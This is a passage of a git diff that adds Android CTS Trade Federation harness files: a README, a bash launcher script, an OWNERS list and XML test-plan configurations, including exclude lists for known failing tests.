+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!--TODO(b/117957288): Remove dynamic config from suite-level.-->
+<dynamicConfig>
+    <entry key="media_files_url">
+         <value>https://dl.google.com/dl/android/cts/android-cts-media-1.4.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
new file mode 100644
index 0000000..5f93ef3
--- /dev/null
+++ b/tools/cts-tradefed/OWNERS
@@ -0,0 +1,17 @@
+#  Android EngProd Approvers
+guangzhu@google.com
+fdeng@google.com
+moonk@google.com
+jdesprez@google.com
+
+# Android Partner Eng Approvers
+aaronholden@google.com
+yuji@google.com
+nickrose@google.com
+
+# File Specific Approvers
+per-file Backup* = aabhinav@google.com, jstemmer@google.com, nathch@google.com, niagra@google.com, niamhfw@google.com, philippov@google.com, rthakohov@google.com, tobiast@google.com
+per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
+per-file cts-on-csi*.xml = ycchen@google.com, hsinyichen@google.com, tyanh@google.com
+per-file csi-*.xml = ycchen@google.com, hsinyichen@google.com, tyanh@google.com
+
diff --git a/tools/cts-tradefed/README b/tools/cts-tradefed/README
new file mode 100644
index 0000000..99d155a
--- /dev/null
+++ b/tools/cts-tradefed/README
@@ -0,0 +1,83 @@
+CTS Trade Federation
+---------------------
+
+CTS Trade Federation, cts-tradefed for short, is the next
+generation test harness for CTS.
+
+cts-tradefed is built on top of the Android Trade Federation test harness.
+
+It works in a similar manner to the prior CTS harness, but supports some
+advanced features such as:
+
+  - modular, flexible extensible design. cts-tradefed can be extended to
+support running CTS in a continuous test environment.
+  - supports sharding a CTS test run across multiple devices in parallel
+  - automatically continue a CTS test run on another device if connection
+is lost
+
+Configuring cts-tradefed
+------------------------
+
+1. Ensure 'adb' is in your current PATH. adb can be found in the
+Android SDK available from http://developer.android.com
+
+Example:
+  PATH=$PATH:/home/myuser/android-sdk-linux_x86/platform-tools
+
+2. Follow the 'Setting up your device' steps documented in the
+CTS User Manual. The CTS User Manual can be downloaded at
+http://source.android.com/compatibility/downloads.html
+
+3. Connect the device to the host machine.
+
+4. Ensure device is visible via 'adb devices'
+
+Using cts-tradefed
+-------------------
+
+To run a test plan on a single device:
+
+1. Make sure you have at least one device connected
+2. Launch the cts-tradefed console by running the 'cts-tradefed'. If you've
+downloaded and extracted the CTS zip, the script can be found at
+  android-cts/tools/cts-tradefed
+Or else if you are working from the Android source tree and have run make cts,
+the script can be found at
+  out/host/linux-x86/cts/android-cts/tools/cts-tradefed
+3. Type:
+'run cts' to run the default CTS plan
+
+Some other useful commands are
+
+To run a test module:
+'run cts --module <module_name>'
+
+To run a specific test:
+'run cts --module <module_name> --test <test_name>'
+
+To shard a plan test run on multiple devices
+'run cts --shard-count <number of shards>
+note: all connected devices must be running the same build
+
+For more options:
+'run cts --help'
+
+CTS Tradefed Development
+------------------------
+See http://source.android.com for instructions on obtaining the Android
+platform source code and setting up a build environment.
+
+The source for the CTS extensions for tradefed can be found at
+<android source root>/cts/tools/tradefed-host
+
+The source for the tradefed framework can be found on the 'tradefed' branch.
+
+Perform these steps to build and run cts-tradefed from the development
+environment:
+cd <path to android source root>
+make cts
+cts-tradefed
+
+More documentation and details on using and extending trade federation will
+be forthcoming in the near future.
+
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
new file mode 100755
index 0000000..117f4cd
--- /dev/null
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -0,0 +1,118 @@
+#!/bin/bash
+
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# launcher script for cts-tradefed harness
+# can be used from an Android build environment, or a standalone cts zip
+
+checkFile() {
+    if [ ! -f "$1" ]; then
+        echo "Unable to locate $1"
+        exit
+    fi;
+}
+
+checkPath() {
+    if ! type -P $1 &> /dev/null; then
+        echo "Unable to find $1 in path."
+        exit
+    fi;
+}
+
+# readlink does not work on MacOS so rely on our own realpath
+realpath() {
+    [[ $1 = /* ]] && echo "$1" || echo "$PWD/${1#./}"
+}
+
+checkPath aapt
+checkPath adb
+checkPath java
+
+# check java version
+JAVA_VERSION=$(java -version 2>&1 | grep -m 1 'version [ "]\(1\.8\|9\|11\).*[ "]')
+if [ "${JAVA_VERSION}" == "" ]; then
+    echo "Wrong java version. 1.8, 9, or 11 is required."
+    exit
+fi
+
+# check debug flag and set up remote debugging
+if [ -n "${TF_DEBUG}" ]; then
+  if [ -z "${TF_DEBUG_PORT}" ]; then
+    TF_DEBUG_PORT=10088
+  fi
+  RDBG_FLAG=-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=${TF_DEBUG_PORT}
+fi
+
+JAVA_BINARY=${CTS_ROOT}/android-cts/jdk/bin/java
+
+if [ ! -f "${JAVA_BINARY}" ]; then
+    JAVA_BINARY=java
+fi
+
+# get OS
+HOST=`uname`
+if [ "$HOST" == "Linux" ]; then
+    OS="linux-x86"
+elif [ "$HOST" == "Darwin" ]; then
+    OS="darwin-x86"
+    # Bundled java is for linux so use host JDK on Darwin
+    JAVA_BINARY=java
+else
+    echo "Unrecognized OS"
+    exit
+fi
+
+# check if in Android build env
+if [ ! -z "${ANDROID_BUILD_TOP}" ]; then
+    if [ ! -z "${ANDROID_HOST_OUT}" ]; then
+      CTS_ROOT=${ANDROID_HOST_OUT}/cts
+    else
+      CTS_ROOT=${ANDROID_BUILD_TOP}/${OUT_DIR:-out}/host/${OS}/cts
+    fi
+    if [ ! -d ${CTS_ROOT} ]; then
+        echo "Could not find $CTS_ROOT in Android build environment. Try 'make cts'"
+        exit
+    fi;
+fi;
+
+if [ -z ${CTS_ROOT} ]; then
+    # assume we're in an extracted cts install
+    CTS_ROOT="$(dirname $(realpath $0))/../.."
+fi;
+
+JAR_DIR=${CTS_ROOT}/android-cts/tools
+
+for JAR in ${JAR_DIR}/*.jar; do
+    JAR_PATH=${JAR_PATH}:${JAR}
+done
+JAR_PATH=${JAR_PATH:1} # Strip off leading ':'
+
+# load any shared libraries for host-side executables
+LIB_DIR=${CTS_ROOT}/android-cts/lib
+if [ "$HOST" == "Linux" ]; then
+    LD_LIBRARY_PATH=${LIB_DIR}:${LIB_DIR}64:${LD_LIBRARY_PATH}
+    export LD_LIBRARY_PATH
+elif [ "$HOST" == "Darwin" ]; then
+    DYLD_LIBRARY_PATH=${LIB_DIR}:${LIB_DIR}64:${DYLD_LIBRARY_PATH}
+    export DYLD_LIBRARY_PATH
+fi
+
+# include any host-side test jars
+for j in ${CTS_ROOT}/android-cts/testcases/*.jar; do
+    JAR_PATH=${JAR_PATH}:$j
+done
+
+${JAVA_BINARY} $RDBG_FLAG -Xmx6g -XX:+HeapDumpOnOutOfMemoryError -cp ${JAR_PATH} -DCTS_ROOT=${CTS_ROOT} com.android.compatibility.common.tradefed.command.CompatibilityConsole "$@"
+
diff --git a/tools/cts-tradefed/res/config/basic-reporters.xml b/tools/cts-tradefed/res/config/basic-reporters.xml
new file mode 100644
index 0000000..6fddf24
--- /dev/null
+++ b/tools/cts-tradefed/res/config/basic-reporters.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration with basic CTS reporters" >
+</configuration>
diff --git a/tools/cts-tradefed/res/config/collect-tests-only.xml b/tools/cts-tradefed/res/config/collect-tests-only.xml
new file mode 100644
index 0000000..a3769a9
--- /dev/null
+++ b/tools/cts-tradefed/res/config/collect-tests-only.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS from a pre-existing CTS installation">
+
+    <include name="cts" />
+
+    <!-- This tells cts-tradefed and the server what the plan name is, reports that have this plan
+         name should not be accepted, as it doesn't actually run the tests it simply marks all of
+         them as passed.
+         Obviously no one would modify the report before uploading to falsify this
+         information, as that would be dishonest, and dishonesty kills kittens :'( -->
+    <option name="plan" value="collect-tests-only" />
+
+    <option name="skip-preconditions" value="true" />
+    <option name="skip-system-status-check" value="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+    <option name="preparer-whitelist" value="com.android.tradefed.targetprep.suite.SuiteApkInstaller" />
+    <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.ApkInstaller" />
+    <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.FilePusher" />
+
+    <option name="compatibility:collect-tests-only" value="true" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/csi-known-failures.xml b/tools/cts-tradefed/res/config/csi-known-failures.xml
new file mode 100644
index 0000000..bbb98b7
--- /dev/null
+++ b/tools/cts-tradefed/res/config/csi-known-failures.xml
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Known fialures on CSI">
+    <!-- Troublesome tests that often crash the system -->
+    <option name="compatibility:exclude-filter" value="CtsAppExitTestCases android.app.cts.ActivityManagerAppExitInfoTest#testCrash" />
+    <option name="compatibility:exclude-filter" value="CtsAppExitTestCases android.app.cts.ActivityManagerAppExitInfoTest#testNativeCrash" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ExternalStorageHostTest#testMediaEscalation28" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ExternalStorageHostTest#testMediaEscalation29" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ExternalStorageHostTest#testMediaEscalation" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerFgsBgStartTest#testFgsLocationPendingIntent" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode" />
+    <option name="compatibility:exclude-filter" value="CtsDeviceIdleHostTestCases com.android.cts.deviceidle.DeviceIdleWhitelistTest#testRemovesPersistedAcrossReboots" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testProxyPacProxyTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testPackageInstallUserRestrictions" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestEmptyRoleThenDeniedAutomatically" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.metric.MetricActivationTests#testRestart" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.metric.MetricActivationTests#testMultipleActivations" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.atom.UidAtomTests#testANROccurred" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.atom.UidAtomTests#testAppCrashOccurred" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.SurfaceViewTests#testMovingWhiteSurfaceView" />
+
+    <!-- Exclude known failure of CtsMediaTestCases (mostly on some Pixel phones) -->
+    <!-- CSI doesn't seem to include ringtones. -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.RingtoneManagerTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.RingtoneTest" />
+
+    <!-- Following failures take about 10 min each, so exclude them to reduce test time. -->
+    <!-- CSI on Goldfish can pass the following tests in StreamingMediaPlayerTest. -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.StreamingMediaPlayerTest#testHTTP_H263_AMR_Video2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.StreamingMediaPlayerTest#testHTTP_H264Base_AAC_Video2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.StreamingMediaPlayerTest#testHTTP_MPEG4SP_AAC_Video2" />
+
+    <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoCodecTest. -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoCodecTest#testParallelEncodingAndDecodingAVC" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoCodecTest#testParallelEncodingAndDecodingHEVC" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoCodecTest#testParallelEncodingAndDecodingVP8" />
+
+    <!-- Failures will crash the test harness, so exclude it here (even though only failed with VP9 decoder). -->
+    <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoDecoderRotationTest. -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderRotationTest" />
+
+    <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoDecoderPerfTest. -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther0Perf0320x0240" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther0Perf0720x0480" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther0Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf0320x0240" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf0720x0480" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf1920x1080" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf0352x0288" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf0640x0360" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf0720x0480" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf1920x1080" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf0352x0288" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf0640x0360" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf0720x0480" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf1920x1080" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf3840x2160" />
+
+    <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoEncoderTest. -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH263SurfMinMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfArbitraryH" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfArbitraryW" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfNearMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfNearMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfNearMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfQCIF" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfArbitraryH" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfArbitraryW" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMinMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8Surf480p" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfArbitraryH" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfArbitraryW" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfNearMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfNearMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfNearMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfQCIF" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9Surf480p" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfArbitraryH" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfArbitraryW" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfNearMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfNearMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfNearMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfQCIF" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
new file mode 100644
index 0000000..80bcea7
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds">
+
+    <!-- template hook to allow users to attach additional target preparers -->
+    <template-include name="preparers" default="empty" />
+
+    <include name="cts" />
+
+    <option name="plan" value="cts" />
+
+    <option name="skip-preconditions" value="false" />
+    <option name="skip-system-status-check" value="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Tell all HostTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-camera.xml b/tools/cts-tradefed/res/config/cts-camera.xml
new file mode 100644
index 0000000..47377b4
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-camera.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS-camera from a pre-existing CTS installation">
+
+    <include name="cts" />
+
+    <option name="plan" value="cts-camera" />
+
+    <!-- All camera CTS tests -->
+    <option name="compatibility:include-filter" value="CtsCameraTestCases" />
+
+    <!-- Other camera related CTS tests -->
+    <option name="compatibility:include-filter"
+        value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/>
+    <option name="compatibility:include-filter"
+        value="CtsPermissionTestCases android.permission.cts.CameraPermissionTest"/>
+    <option name="compatibility:include-filter"
+        value="CtsPermissionTestCases android.permission.cts.Camera2PermissionTest"/>
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
new file mode 100644
index 0000000..c1dffd2
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Common configuration for cts and cts-reference-aosp">
+
+    <include name="everything" />
+    <option name="compatibility:run-suite-tag" value="cts" />
+    <!-- Enable module parameterization to run instant_app modules in main CTS -->
+    <option name="compatibility:enable-parameterized-modules" value="true" />
+    <include name="cts-preconditions" />
+    <include name="cts-system-checkers" />
+    <include name="cts-known-failures" />
+
+    <option name="test-tag" value="cts" />
+
+    <option name="enable-root" value="false" />
+    <!-- retain 200MB of host log -->
+    <option name="max-log-size" value="200" />
+    <!--  retain 200MB of logcat -->
+    <option name="max-tmp-logcat-file" value="209715200" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="settings put global package_verifier_enable 0" />
+        <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="ro.build.type" />
+        <option name="expected-value" value="user"/> <!-- Device should have user build -->
+        <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="ro.product.locale" />
+        <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
+        <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="persist.sys.test_harness" />
+        <option name="expected-value" value="false"/> <!-- Device shouldn't be in test harness mode -->
+        <option name="throw-error" value="true"/>
+    </target_preparer>
+
+    <template-include name="reporters" default="basic-reporters" />
+
+    <!-- Include additional test metadata output. -->
+    <template-include name="metadata-reporters" default="empty" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-dev.xml b/tools/cts-tradefed/res/config/cts-dev.xml
new file mode 100644
index 0000000..11c1052
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-dev.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS with common options set developer workflow: skips most checks">
+
+    <include name="cts" />
+
+    <option name="log-level" value="verbose" />
+    <option name="skip-preconditions" value="true" />
+    <option name="skip-device-info" value="true" />
+    <option name="result-reporter:compress-logs" value="false" />
+
+    <option name="plan" value="cts-dev" />
+    <option name="compatibility:skip-all-system-status-check" value="true" />
+    <option name="compatibility:primary-abi-only" value="true" />
+    <!-- Avoid module parameterization in cts-dev -->
+    <option name="compatibility:enable-parameterized-modules" value="false" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-device-files.xml b/tools/cts-tradefed/res/config/cts-device-files.xml
new file mode 100644
index 0000000..6acf7bb
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-device-files.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
